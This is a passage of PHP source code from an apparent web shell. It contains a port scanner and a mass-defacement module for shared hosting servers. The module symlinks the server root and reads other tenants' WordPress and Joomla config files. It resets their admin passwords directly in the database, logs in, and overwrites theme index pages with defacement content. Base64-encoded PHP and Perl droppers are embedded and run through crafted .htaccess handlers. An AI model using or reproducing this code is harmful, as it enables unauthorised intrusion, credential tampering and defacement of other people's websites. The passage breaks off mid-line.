    echo ' Sha1  <input class=inputz type=text size=50 value=' . $hash1 . '> <br><br>';

   echo ' Sha256  <input class=inputz type=text size=50 value=' . $sha256 . '> <br><br>';

   echo ' Sha1 with Salt  <input class=inputz type=text size=50 value=' . $hash1_sha1 . '> <br><br>';

   echo ' Sha1 with Salt & MD5  <input class=inputz type=text size=50 value=' . $hash1_sha1_double . '> <br><br>';

}
//////////////////////  PORT SCANNER  ////////////////////
			elseif(isset($_GET['x']) && ($_GET['x'] == 'portscan'))
            {

	echo '<center><table><tr><th><center><u>Port Scanner</u></tr></th></center><td>';
    echo '<div class="content">';
    echo '<form action="" method="post">';

    if(isset($_POST['host']) && is_numeric($_POST['end']) && is_numeric($_POST['start'])){
        $start = strip_tags($_POST['start']);
        $end = strip_tags($_POST['end']);
        $host = strip_tags($_POST['host']);
        for($i = $start; $i<=$end; $i++){
            $fp = @fsockopen($host, $i, $errno, $errstr, 3);
            if($fp){
                echo 'Port '.$i.' is <font color=green>open</font><br>';
            }
            flush();
        }
    } else {
        echo '<br /><br /><center><input type="hidden" name="a" value="PortScanner"><input type="hidden" name=p1><input type="hidden" name="p2">
              <input type="hidden" name="c" value="'.htmlspecialchars($GLOBALS['cwd']).'">
              <input type="hidden" name="charset" value="'.(isset($_POST['charset'])?$_POST['charset']:'').'">
              Host: <input type="text" name="host" value="localhost"/><br /><br />
              Port start: <input type="text" name="start" value="0"/><br /><br />
              Port end:<input type="text" name="end" value="5000"/><br /><br />
              <input type="submit" value="Scan Ports" />
              </form></center><br /><br />';
    echo '</div></table></td>';

}
}
//////////////////////  NGINDEX  ////////////////////
			elseif(isset($_GET['x']) && ($_GET['x'] == 'ngindexx'))
            {
	{error_reporting(0);function entre2v2($text,$marqueurDebutLien,$marqueurFinLien,$i=1){$ar0=explode($marqueurDebutLien, $text);$ar1=explode($marqueurFinLien, $ar0[$i]);return trim($ar1[0]);}function randomt() {$chars = "abcdefghijkmnopqrstuvwxyz023456789";srand((double)microtime()*1000000);$i = 0;$pass = '';while ($i <= 7) {$num = rand() % 33;$tmp = substr($chars, $num, 1);$pass = $pass . $tmp;$i++;}return $pass;}function index_changer_wp($conf, $content) {$output = '';$dol = '$';$go = 0;$username = entre2v2($conf,"define('DB_USER', '","');");$password = entre2v2($conf,"define('DB_PASSWORD', '","');");$dbname = entre2v2($conf,"define('DB_NAME', '","');");$prefix = entre2v2($conf,$dol."table_prefix  = '","'");$host = entre2v2($conf,"define('DB_HOST', '","');");$link=mysql_connect($host,$username,$password);if($link) {mysql_select_db($dbname,$link) ;$dol = '$';$req1 = mysql_query("UPDATE `".$prefix."users` SET `user_login` = 'admin',`user_pass` = '4297f44b13955235245b2497399d7a93' WHERE `ID` = 1");} else {$output.= "[-] DB Error<br />";}if($req1) {$req = mysql_query("SELECT * from  `".$prefix."options` WHERE option_name='home'");$data = mysql_fetch_array($req);$site_url=$data["option_value"]; $req = mysql_query("SELECT * from  `".$prefix."options` WHERE option_name='template'");$data = mysql_fetch_array($req);$template = $data["option_value"];$req = mysql_query("SELECT * from  `".$prefix."options` WHERE option_name='current_theme'");$data = mysql_fetch_array($req);$current_theme = $data["option_value"];$useragent="Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 5.1; .NET CLR 1.1.4322; Alexa Toolbar; .NET CLR 2.0.50727)";$url2=$site_url."/wp-login.php";$ch = curl_init();curl_setopt($ch, CURLOPT_URL, $url2);curl_setopt($ch, CURLOPT_POST, 1);curl_setopt($ch, CURLOPT_POSTFIELDS,"log=admin&pwd=123123&rememberme=forever&wp-submit=Log In&testcookie=1");curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);curl_setopt($ch, CURLOPT_RETURNTRANSFER,1);curl_setopt($ch, CURLOPT_HEADER, 0);curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 10);curl_setopt($ch, CURLOPT_USERAGENT, $useragent);curl_setopt($ch, CURLOPT_COOKIEJAR, "COOKIE.txt");curl_setopt($ch, CURLOPT_COOKIEFILE, "COOKIE.txt");$buffer = curl_exec($ch);$pos = strpos($buffer,"action=logout");if($pos === false) {$output.= "[-] Login Error<br />";} else {$output.= "[+] Login Successful<br />";$go = 1;}if($go) {$cond = 0;$url2=$site_url."/wp-admin/theme-editor.php?file=/themes/".$template.'/index.php&theme='.urlencode($current_theme).'&dir=theme';curl_setopt($ch, CURLOPT_URL, $url2);curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 0);curl_setopt($ch, CURLOPT_RETURNTRANSFER,1);curl_setopt($ch, CURLOPT_HEADER, 0);curl_setopt($ch, CURLOPT_USERAGENT, $useragent);curl_setopt($ch, CURLOPT_COOKIEJAR, "COOKIE.txt");curl_setopt($ch, CURLOPT_COOKIEFILE, "COOKIE.txt");$buffer0 = curl_exec($ch);$_wpnonce = entre2v2($buffer0,'<input type="hidden" id="_wpnonce" name="_wpnonce" value="','" />');$_file = entre2v2($buffer0,'<input type="hidden" name="file" value="','" />');if(substr_count($_file,"/index.php") != 0){$output.= "[+] index.php loaded in Theme Editor<br />";$url2=$site_url."/wp-admin/theme-editor.php";curl_setopt($ch, CURLOPT_URL, $url2);curl_setopt($ch, CURLOPT_POST, 1);curl_setopt($ch, CURLOPT_POSTFIELDS,"newcontent=".base64_decode($content)."&action=update&file=".$_file."&_wpnonce=".$_wpnonce."&submit=Update File");curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);curl_setopt($ch, CURLOPT_HEADER, 0);curl_setopt($ch, CURLOPT_USERAGENT, $useragent);curl_setopt($ch, CURLOPT_COOKIEJAR, "COOKIE.txt");curl_setopt($ch, CURLOPT_COOKIEFILE, "COOKIE.txt");$buffer = curl_exec($ch);curl_close($ch);$pos = strpos($buffer,'<div id="message" class="updated">');if($pos === false) {$output.= "[-] Updating Index.php Error<br />";} else {$output.= "[+] Index.php Updated Successfuly<br />";$hk = explode('public_html',$_file);$output.= '[+] Deface '.file_get_contents($site_url.str_replace('/blog','',$hk[1]));$cond = 1;}} else {$url2=$site_url.'/wp-admin/theme-editor.php?file=index.php&theme='.$template;curl_setopt($ch, CURLOPT_URL, $url2);curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 0);curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);curl_setopt($ch, CURLOPT_HEADER, 0);curl_setopt($ch, CURLOPT_USERAGENT, $useragent);curl_setopt($ch, CURLOPT_COOKIEJAR, "COOKIE.txt");curl_setopt($ch, CURLOPT_COOKIEFILE, "COOKIE.txt");$buffer0 = curl_exec($ch);$_wpnonce = entre2v2($buffer0,'<input type="hidden" id="_wpnonce" name="_wpnonce" value="','" />');$_file = entre2v2($buffer0,'<input type="hidden" name="file" value="','" />');if(substr_count($_file,"index.php") != 0){$output.= "[+] index.php loaded in Theme Editor<br />";$url2=$site_url."/wp-admin/theme-editor.php";curl_setopt($ch, CURLOPT_URL, $url2);curl_setopt($ch, CURLOPT_POST, 1);curl_setopt($ch, CURLOPT_POSTFIELDS,"newcontent=".base64_decode($content)."&action=update&file=".$_file."&theme=".$template."&_wpnonce=".$_wpnonce."&submit=Update File");curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);curl_setopt($ch, CURLOPT_HEADER, 0);curl_setopt($ch, CURLOPT_USERAGENT, $useragent);curl_setopt($ch, CURLOPT_COOKIEJAR, "COOKIE.txt");curl_setopt($ch, CURLOPT_COOKIEFILE, "COOKIE.txt");$buffer = curl_exec($ch);curl_close($ch);$pos = strpos($buffer,'<div id="message" class="updated">');if($pos === false) {$output.= "[-] Updating Index.php Error<br />";} else {$output.= "[+] Index.php Template Updated Successfuly<br />";$output.= '[+] Deface '.file_get_contents($site_url.'/wp-content/themes/'.$template.'/index.php');$cond = 1;}} else {$output.= "[-] index.php can not load in Theme Editor<br />";}}}} else {$output.= "[-] DB Error<br />";}global $base_path;unlink($base_path.'COOKIE.txt');return array('cond'=>$cond, 'output'=>$output);}function index_changer_joomla($conf, $content, $domain) {$doler = '$';$username = entre2v2($conf, $doler."user = '", "';");$password = entre2v2($conf, $doler."password = '", "';");$dbname = entre2v2($conf, $doler."db = '", "';");$prefix = entre2v2($conf, $doler."dbprefix = '", "';");$host = entre2v2($conf, $doler."host = '","';");$co=randomt();$site_url = "http://".$domain."/administrator";$output = '';$cond = 0; $link=mysql_connect($host, $username, $password);if($link) {mysql_select_db($dbname,$link) ;$req1 = mysql_query("UPDATE `".$prefix."users` SET `username` ='admin' , `password` = '4297f44b13955235245b2497399d7a93', `usertype` = 'Super Administrator', `block` = 0");$req = mysql_numrows(mysql_query("SHOW TABLES LIKE '".$prefix."extensions'"));} else {$output.= "[-] DB Error<br />";}if($req1){if ($req) {$req = mysql_query("SELECT * from  `".$prefix."template_styles` WHERE `client_id` = '0' and `home` = '1'");$data = mysql_fetch_array($req);$template_name = $data["template"];$req = mysql_query("SELECT * from  `".$prefix."extensions` WHERE `name`='".$template_name."' or `element` = '".$template_name."'");$data = mysql_fetch_array($req);$template_id = $data["extension_id"];$url2=$site_url."/index.php";$ch = curl_init();curl_setopt($ch, CURLOPT_URL, $url2);curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);curl_setopt($ch, CURLOPT_HEADER, 0);curl_setopt($ch, CURLOPT_USERAGENT, $useragent);curl_setopt($ch, CURLOPT_COOKIEJAR, $co); curl_setopt($ch, CURLOPT_COOKIEFILE, $co); $buffer = curl_exec($ch);$return = entre2v2($buffer ,'<input type="hidden" name="return" value="','"');$hidden = entre2v2($buffer ,'<input type="hidden" name="','" value="1"',4);if($return && $hidden) {curl_setopt($ch, CURLOPT_URL, $url2);curl_setopt($ch, CURLOPT_POST, 1);curl_setopt($ch, CURLOPT_REFERER, $url2);curl_setopt($ch, CURLOPT_POSTFIELDS, "username=admin&passwd=123123&option=com_login&task=login&return=".$return."&".$hidden."=1");curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);curl_setopt($ch, CURLOPT_HEADER, 0);curl_setopt($ch, CURLOPT_USERAGENT, $useragent);curl_setopt($ch, CURLOPT_COOKIEJAR, $co); curl_setopt($ch, CURLOPT_COOKIEFILE, $co); $buffer = curl_exec($ch);$pos = strpos($buffer,"com_config");if($pos === false) {$output.= "[-] Login Error<br />";} else {$output.= "[+] Login Successful<br />";}}if($pos){$url2=$site_url."/index.php?option=com_templates&task=source.edit&id=".base64_encode($template_id.":index.php");$ch = curl_init();curl_setopt($ch, CURLOPT_URL, $url2);curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);curl_setopt($ch, CURLOPT_HEADER, 0);curl_setopt($ch, CURLOPT_USERAGENT, $useragent);curl_setopt($ch, CURLOPT_COOKIEJAR, $co); curl_setopt($ch, CURLOPT_COOKIEFILE, $co); $buffer = curl_exec($ch);$hidden2=entre2v2($buffer ,'<input type="hidden" name="','" value="1"',2);if($hidden2) {$output.= "[+] index.php file found in Theme Editor<br />";} else {$output.= "[-] index.php Not found in Theme Editor<br />";}}if($hidden2) {$url2=$site_url."/index.php?option=com_templates&layout=edit";$ch = curl_init();curl_setopt($ch, CURLOPT_URL, $url2);curl_setopt($ch, CURLOPT_POST, 1);curl_setopt($ch, CURLOPT_POSTFIELDS,"jform[source]=".$content."&jform[filename]=index.php&jform[extension_id]=".$template_id."&".$hidden2."=1&task=source.save");curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);curl_setopt($ch, CURLOPT_HEADER, 0);curl_setopt($ch, CURLOPT_USERAGENT, $useragent);curl_setopt($ch, CURLOPT_COOKIEJAR, $co); curl_setopt($ch, CURLOPT_COOKIEFILE, $co); $buffer = curl_exec($ch);curl_close($ch);$pos = strpos($buffer,'<dd class="message message">');$cond = 0;if($pos === false) {$output.= "[-] Updating Index.php Error<br />";} else {$output.= "[+] Index.php Template successfully saved<br />";$cond = 1;}}} else {$req =mysql_query("SELECT * from  `".$prefix."templates_menu` WHERE client_id='0'");$data = mysql_fetch_array($req);$template_name=$data["template"];$useragent="Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 5.1; .NET CLR 1.1.4322; Alexa Toolbar; .NET CLR 2.0.50727)";$url2=$site_url."/index.php";$ch = curl_init();curl_setopt($ch, CURLOPT_URL, $url2);curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);curl_setopt($ch, CURLOPT_HEADER, 0);curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 10);curl_setopt($ch, CURLOPT_USERAGENT, $useragent);curl_setopt($ch, CURLOPT_COOKIEJAR, $co); curl_setopt($ch, CURLOPT_COOKIEFILE, $co); $buffer = curl_exec($ch);$hidden=entre2v2($buffer ,'<input type="hidden" name="','" value="1"',3);if($hidden) {curl_setopt($ch, CURLOPT_URL, $url2);curl_setopt($ch, CURLOPT_POST, 1);curl_setopt($ch, CURLOPT_POSTFIELDS,"username=admin&passwd=123456&option=com_login&task=login&".$hidden."=1");curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);curl_setopt($ch, CURLOPT_HEADER, 0);curl_setopt($ch, CURLOPT_USERAGENT, $useragent);curl_setopt($ch, CURLOPT_COOKIEJAR, $co); curl_setopt($ch, CURLOPT_COOKIEFILE, $co); $buffer = curl_exec($ch);$pos = strpos($buffer,"com_config");if($pos === false) {$output.= "[-] Login Error<br />";} else {$output.= "[+] Login Successful<br />";}}if($pos) {$url2=$site_url."/index.php?option=com_templates&task=edit_source&client=0&id=".$template_name;curl_setopt($ch, CURLOPT_URL, $url2);curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);curl_setopt($ch, CURLOPT_HEADER, 0);curl_setopt($ch, CURLOPT_USERAGENT, $useragent);curl_setopt($ch, CURLOPT_COOKIEJAR, $co); curl_setopt($ch, CURLOPT_COOKIEFILE, $co); $buffer = curl_exec($ch);$hidden2=entre2v2($buffer ,'<input type="hidden" name="','" value="1"',6);if($hidden2) {$output.= "[+] index.php file founded in Theme Editor<br />";} else {$output.= "[-] index.php Not found in Theme Editor<br />";}}if($hidden2) {$url2=$site_url."/index.php?option=com_templates&layout=edit";curl_setopt($ch, CURLOPT_URL, $url2);curl_setopt($ch, CURLOPT_POST, 1);curl_setopt($ch, CURLOPT_POSTFIELDS,"filecontent=".$content."&id=".$template_name."&cid[]=".$template_name."&".$hidden2."=1&task=save_source&client=0");curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);curl_setopt($ch, CURLOPT_HEADER, 0);curl_setopt($ch, CURLOPT_USERAGENT, $useragent);curl_setopt($ch, CURLOPT_COOKIEJAR, $co); curl_setopt($ch, CURLOPT_COOKIEFILE, $co);$buffer = curl_exec($ch);curl_close($ch);$pos = strpos($buffer,'<dd class="message message fade">');$cond = 0;if($pos === false) {$output.= "[-] Updating Index.php Error<br />";} else {$output.= "[+] Index.php Template successfully saved<br />";$cond = 1;}}}} else {$output.= "[-] DB Error<br />";}global $base_path;unlink($base_path.$co);return array('cond'=>$cond, 'output'=>$output); }function exec_mode_1($def_url) {@mkdir('sym',0777);$wr  = "Options all n DirectoryIndex Sux.html n AddType text/plain .php n AddHandler server-parsed .php n  AddType text/plain .html n AddHandler txt .html n Require None n Satisfy Any";$fp = @fopen ('sym/.htaccess','w');fwrite($fp, $wr);@symlink('/','sym/root');$dominios = @file_get_contents("/etc/named.conf");@preg_match_all('/.*?zone "(.*?)" {/', $dominios, $out);$out[1] = array_unique($out[1]);$numero_dominios = count($out[1]);echo "Total domains: $numero_dominios <br><br />";$def = file_get_contents($def_url);$def = urlencode($def);$dd = 'PD9waHANCiRkZWYgPSBmaWxlX2dldF9jb250ZW50cygnaHR0cDovL3pvbmVobWlycm9ycy5vcmcvZGVmYWNlZC8yMDEzLzAzLzE5L2Fzc29jaWFwcmVzcy5uZXQnKTsNCiRwID0gZXhwbG9kZSgncHVibGljX2h0bWwnLGRpcm5hbWUoX19GSUxFX18pKTsNCiRwID0gJHBbMF0uJ3B1YmxpY19odG1sJzsNCmlmICgkaGFuZGxlID0gb3BlbmRpcigkcCkpIHsNCiAgICAkZnAxID0gQGZvcGVuKCRwLicvaW5kZXguaHRtbCcsJ3crJyk7DQogICAgQGZ3cml0ZSgkZnAxLCAkZGVmKTsNCiAgICAkZnAxID0gQGZvcGVuKCRwLicvaW5kZXgucGhwJywndysnKTsNCiAgICBAZndyaXRlKCRmcDEsICRkZWYpOw0KICAgICRmcDEgPSBAZm9wZW4oJHAuJy9pbmRleC5odG0nLCd3KycpOw0KICAgIEBmd3JpdGUoJGZwMSwgJGRlZik7DQogICAgZWNobyAnRG9uZSc7DQp9DQpjbG9zZWRpcigkaGFuZGxlKTsNCnVubGluayhfX0ZJTEVfXyk7DQo/Pg==';$base_url = 'http://'.$_SERVER['SERVER_NAME'].dirname($_SERVER['SCRIPT_NAME']).'/sym/root/home/';$output = fopen('defaced.html', 'a+');$_SESSION['count1'] = (isset($_GET['st']) && $_GET['st']!='') ? (isset($_SESSION['count1']) ? $_SESSION['count1'] :0 ) : 0;$_SESSION['count2'] = (isset($_GET['st']) && $_GET['st']!='') ? (isset($_SESSION['count2']) ? $_SESSION['count2'] :0 ) : 0;echo '<table style="width:75%;" align="center"><tr style="background:rgba(160, 82, 45,0.6);"><th>ID</th><th>SID</th><th>Domain</th><th>Type</th><th>Action</th><th>Status</th></tr>';$j = 1;$st = (isset($_GET['st']) && $_GET['st']!='') ? $_GET['st'] : 0;for($i = $st; $i <= $numero_dominios; $i++){$domain = $out[1][$i];$dono_arquivo = @fileowner("/etc/valiases/".$domain);$infos = @posix_getpwuid($dono_arquivo);if($infos['name']!='root') {$config01 = @file_get_contents($base_url.$infos['name']."/public_html/configuration.php");$config02 = @file_get_contents($base_url.$infos['name']."/public_html/wp-config.php");$config03 = @file_get_contents($base_url.$infos['name']."/public_html/blog/wp-config.php");$cls = ($j % 2 == 0) ? 'class="even"' : 'class="odd"';if($config01 && preg_match('/dbprefix/i',$config01)){echo '<tr '.$cls.'><td align="center">'.($j++).'</td><td align="center">'.$i.'</td><td><a href="http://'.$domain.'" target="blank">'.$domain.'</a></td>';echo '<td align="center"><font color="pink">JOOMLA</font></td>';$res = index_changer_joomla($config01, $def, $domain);echo '<td>'.$res['output'].'</td>';if($res['cond']) {echo '<td align="center"><span class="green">DEFACED</span></td>';fwrite($output, 'http://'.$domain."<br>");$_SESSION['count1'] = $_SESSION['count1'] + 1;} else {echo '<td align="center"><span class="#ff0066">FAILED</span></td>';}echo '</tr>';}if($config02 && preg_match('/DB_NAME/i',$config02)){echo '<tr '.$cls.'><td align="center">'.($j++).'</td><td align="center">'.$i.'</td><td><a href="http://'.$domain.'" target="blank">'.$domain.'</a></td>';echo '<td align="center"><font color="yellow">WORDPRESS</font></td>';$res = index_changer_wp($config02, $dd);echo '<td>'.$res['output'].'</td>';if($res['cond']) {echo '<td align="center"><span class="green">DEFACED</span></td>';fwrite($output, 'http://'.$domain."<br>");$_SESSION['count2'] = $_SESSION['count2'] + 1;} else {echo '<td align="center"><span class="#ff0066">FAILED</span></td>';}echo '</tr>';}$cls = ($j % 2 == 0) ? 'class="even"' : 'class="odd"';if($config03 && preg_match('/DB_NAME/i',$config03)){echo '<tr '.$cls.'><td align="center">'.($j++).'</td><td align="center">'.$i.'</td><td><a href="http://'.$domain.'" target="blank">'.$domain.'</a></td>';echo '<td align="center"><font color="yellow">WORDPRESS</font></td>';$res = index_changer_wp($config03, $dd);echo '<td>'.$res['output'].'</td>';if($res['cond']) {echo '<td align="center"><span class="green">DEFACED</span></td>';fwrite($output, 'http://'.$domain."<br>");$_SESSION['count2'] = $_SESSION['count2'] + 1;} else {echo '<td align="center"><span class="#ff0066">FAILED</span></td>';}echo '</tr>';}}}echo '</table>';echo '<hr/>';echo 'Total Defaced = '.($_SESSION['count1']+$_SESSION['count2']).' (JOOMLA = '.$_SESSION['count1'].', WORDPRESS = '.$_SESSION['count2'].')<br />';echo '<a href="defaced.html" target="_blank">View Total Defaced urls</a><br />';if($_SESSION['count1']+$_SESSION['count2'] > 0){echo '<a href="'.$_SERVER['PHP_SELF'].'?pass='.$_GET['pass'].'&zh=1" target="_blank" id="zhso">Send to Zone-H</a>';}}function exec_mode_2($def_url) {$domains = @file_get_contents("/etc/named.conf");@preg_match_all('/.*?zone "(.*?)" {/', $domains, $out);$out = array_unique($out[1]);$num = count($out);print("Total domains: $num<br><br />");$def = file_get_contents($def_url);$def = urlencode($def);$output = fopen('defaced.html', 'a+');$defaced = '';$count1 = 0;$count2 = 0;echo '<table style="width:75%;"><tr style="background:rgba(160, 82, 45,0.6);"><th>ID</th><th>SID</th><th>Domain</th><th>Type</th><th>Action</th><th>Status</th></tr>';$j = 1;$map = array();foreach($out as $d) {$info = @posix_getpwuid(fileowner("/etc/valiases/".$d));$map[$info['name']] = $d;}$dt = 'IyEvdXNyL2Jpbi9wZXJsIC1JL3Vzci9sb2NhbC9iYW5kbWluDQpzdWIgbGlsew0KICAgICgkdXNlcikgPSBAXzsNCiAgICAkbXNyID0gcXh7cHdkfTs
   NCiAgICAka29sYT0kbXNyLiIvIi4kdXNlcjsNCiAgICAka29sYT1+cy9cbi8vZzsNCiAgICBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2
   h0bWwvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLicjI2pvb21sYS50eHQnKTsgDQogICAgc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19od
   G1sL3dwLWNvbmZpZy5waHAnLCRrb2xhLicjI3dvcmRwcmVzcy50eHQnKTsNCiAgICBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwv
   YmxvZy93cC1jb25maWcucGhwJywka29sYS4nIyNzd29yZHByZXNzLnR4dCcpOw0KfQ0KDQpsb2NhbCAkLzsNCm9wZW4oRklMRSwgJy9ldGMvcGFzc3d
   kJyk7ICANCkBsaW5lcyA9IDxGSUxFPjsgDQpjbG9zZShGSUxFKTsNCiR5ID0gQGxpbmVzOw0KDQpmb3IoJGthPTA7JGthPCR5OyRrYSsrKXsNCiAgIC
   B3aGlsZShAbGluZXNbJGthXSAgPX4gbS8oLio/KTp4Oi9nKXsNCiAgICAgICAgJmxpbCgkMSk7DQogICAgfQ0KfQ==';mkdir('plsym',0777);file_put_contents('plsym/plsym.cc', base64_decode($dt));chmod('plsym/plsym.cc', 0755);$wr  = "Options FollowSymLinks MultiViews Indexes ExecCGInnAddType application/x-httpd-cgi .ccnnAddHandler cgi-script .ccnAddHandler cgi-script .cc";$fp = @fopen ('plsym/.htaccess','w');fwrite($fp, $wr);fclose($fp);$res = file_get_contents('http://'.$_SERVER['SERVER_NAME'].dirname($_SERVER['SCRIPT_NAME']).'/plsym/plsym.cc');  $url = 'http://'.$_SERVER['SERVER_NAME'].dirname($_SERVER['SCRIPT_NAME']).'/plsym/';unlink('plsym/plsym.cc');$data = file_get_contents($url);preg_match_all('/<a href="(.+)">/', $data, $match);unset($match[1][0]);$i = 1;foreach($match[1] as $m){$mz = explode('##',urldecode($m));$config01 = '';$config02 = '';if($mz[1] == 'joomla.txt') {$config01 = file_get_contents($url.$m);}if($mz[1] == 'wordpress.txt') {$config02 = file_get_contents($url.$m);}$domain = $map[$mz[0]];$cls = ($j % 2 == 0) ? 'class="even"' : 'class="odd"';if($config01 && preg_match('/dbprefix/i',$config01)){echo '<tr '.$cls.'><td align="center">'.($j++).'</td><td align="center">'.$i++.'</td><td><a href="http://'.$domain.'" target="blank">'.$domain.'</a></td>';echo '<td align="center"><font color="pink">JOOMLA</font></td>';$res = index_changer_joomla($config01, $def, $domain);echo '<td>'.$res['output'].'</td>';if($res['cond']) {echo '<td align="center"><span class="green">DEFACED</span></td>';fwrite($output, 'http://'.$domain."<br>");$count1++;} else {echo '<td align="center"><span class="#ff0066">FAILED</span></td>';}echo '</tr>';}if($config02 && preg_match('/DB_NAME/i',$config02)){echo '<tr '.$cls.'><td align="center">'.($j++).'</td><td><a href="http://'.$domain.'" target="blank">'.$domain.'</a></td>';echo '<td align="center"><font color="yellow">WORDPRESS</font></td>';$res = index_changer_wp($config02, $def);echo '<td>'.$res['output'].'</td>';if($res['cond']) {echo '<td align="center"><span class="green">DEFACED</span></td>';fwrite($output, 'http://'.$domain."<br>");$count2++;} else {echo '<td align="center"><span class="#ff0066">FAILED</span></td>';}echo '</tr>';}}echo '</table>';echo '<hr/>';echo 'Total Defaced = '.($count1+$count2).' (JOOMLA = '.$count1.', WORDPRESS = '.$count2.')<br />';echo '<a href="defaced.html" target="_blank">View Total Defaced urls</a><br />';if($count1+$count2 > 0){echo '<a href="'.$_SERVER['PHP_SELF'].'?pass='.$_GET['pass'].'&zh=1" target="_blank" id="zhso">Send to Zone-H</a>';}}function exec_mode_3($def_url) {$domains = @file_get_contents("/etc/named.conf");@preg_match_all('/.*?zone "(.*?)" {/', $domains, $out);$out = array_unique($out[1]);$num = count($out);print("Total domains: $num<br><br />");$def = file_get_contents($def_url);$def = urlencode($def);  $output = fopen('defaced.html', 'a+');$defaced = '';$count1 = 0;$count2 = 0;echo '<table style="width:75%;"><tr style="background:rgba(160, 82, 45,0.6);"><th>ID</th><th>SID</th><th>Domain</th><th>Type</th><th>Action</th><th>Status</th></tr>';$j = 1;$map = array();foreach($out as $d) {$info = @posix_getpwuid(fileowner("/etc/valiases/".$d));$map[$info['name']] = $d;}$dt = 'IyEvdXNyL2Jpbi9wZXJsIC1JL3Vzci9sb2NhbC9iYW5kbWluDQpzdWIgbGlsew0KICAgICgkdXNlcikgPSBAXzsNCiAgICAkbXNyID0gcXh7cHd
   kfTsNCiAgICAka29sYT0kbXNyLiIvIi4kdXNlcjsNCiAgICAka29sYT1+cy9cbi8vZzsNCiAgICBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcH
   VibGljX2h0bWwvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLicjI2pvb21sYS50eHQnKTsgDQogICAgc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL
   3B1YmxpY19odG1sL3dwLWNvbmZpZy5waHAnLCRrb2xhLicjI3dvcmRwcmVzcy50eHQnKTsNCiAgICBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicv
   cHVibGljX2h0bWwvYmxvZy93cC1jb25maWcucGhwJywka29sYS4nIyNzd29yZHByZXNzLnR4dCcpOw0KfQ0KDQpsb2NhbCAkLzsNCm9wZW4oRkl
   MRSwgJ2RhdGEudHh0Jyk7ICANCkBsaW5lcyA9IDxGSUxFPjsgDQpjbG9zZShGSUxFKTsNCiR5ID0gQGxpbmVzOw0KDQpmb3IoJGthPTA7JGthPC
   R5OyRrYSsrKXsNCiAgICB3aGlsZShAbGluZXNbJGthXSAgPX4gbS8oLio/KTp4Oi9nKXsNCiAgICAgICAgJmxpbCgkMSk7DQogICAgfQ0KfQ==';mkdir('plsym',0777);file_put_contents('plsym/data.txt', $_POST['man_data']);file_put_contents('plsym/plsym.cc', base64_decode($dt));chmod('plsym/plsym.cc', 0755);$wr  = "Options FollowSymLinks MultiViews Indexes ExecCGInnAddType application/x-httpd-cgi .ccnnAddHandler cgi-script .ccnAddHandler cgi-script .cc";$fp = @fopen ('plsym/.htaccess','w');fwrite($fp, $wr);fclose($fp);$res = file_get_contents('http://'.$_SERVER['SERVER_NAME'].dirname($_SERVER['SCRIPT_NAME']).'/plsym/plsym.cc');  $url = 'http://'.$_SERVER['SERVER_NAME'].dirname($_SERVER['SCRIPT_NAME']).'/plsym/';unlink('plsym/plsym.cc');$data = file_get_contents($url);preg_match_all('/<a href="(.+)">/', $data, $match);unset($match[1][0]);$i=1;foreach($match[1] as $m){$mz = explode('##',urldecode($m));$config01 = '';$config02 = '';if($mz[1] == 'joomla.txt') {$config01 = file_get_contents($url.$m);}if($mz[1] == 'wordpress.txt') {$config02 = file_get_contents($url.$m);}$domain = $map[$mz[0]];$cls = ($j % 2 == 0) ? 'class="even"' : 'class="odd"';if($config01 && preg_match('/dbprefix/i',$config01)){echo '<tr '.$cls.'><td align="center">'.($j++).'</td><td align="center">'.($i++).'</td><td><a href="http://'.$domain.'" target="blank">'.$domain.'</a></td>';echo '<td align="center"><font color="pink">JOOMLA</font></td>';$res = index_changer_joomla($config01, $def, $domain);echo '<td>'.$res['output'].'</td>';if($res['cond']) {echo '<td align="center"><span class="green">DEFACED</span></td>';fwrite($output, 'http://'.$domain."<br>");$count1++;} else {echo '<td align="center"><span class="#ff0066">FAILED</span></td>';}echo '</tr>';}if($config02 && preg_match('/DB_NAME/i',$config02)){echo '<tr '.$cls.'><td align="center">'.($j++).'</td><td><a href="http://'.$domain.'" target="blank">'.$domain.'</a></td>';echo '<td align="center"><font color="yellow">WORDPRESS</font></td>';$res = index_changer_wp($config02, $def);echo '<td>'.$res['output'].'</td>';if($res['cond']) {echo '<td align="center"><span class="green">DEFACED</span></td>';fwrite($output, 'http://'.$domain."<br>");$count2++;} else {echo '<td align="center"><span class="#ff0066">FAILED</span></td>';}echo '</tr>';}}echo '</table>';echo '<hr/>';echo 'Total Defaced = '.($count1+$count2).' (JOOMLA = '.$count1.', WORDPRESS = '.$count2.')<br />';echo '<a href="defaced.html" target="_blank">View Total Defaced urls</a><br 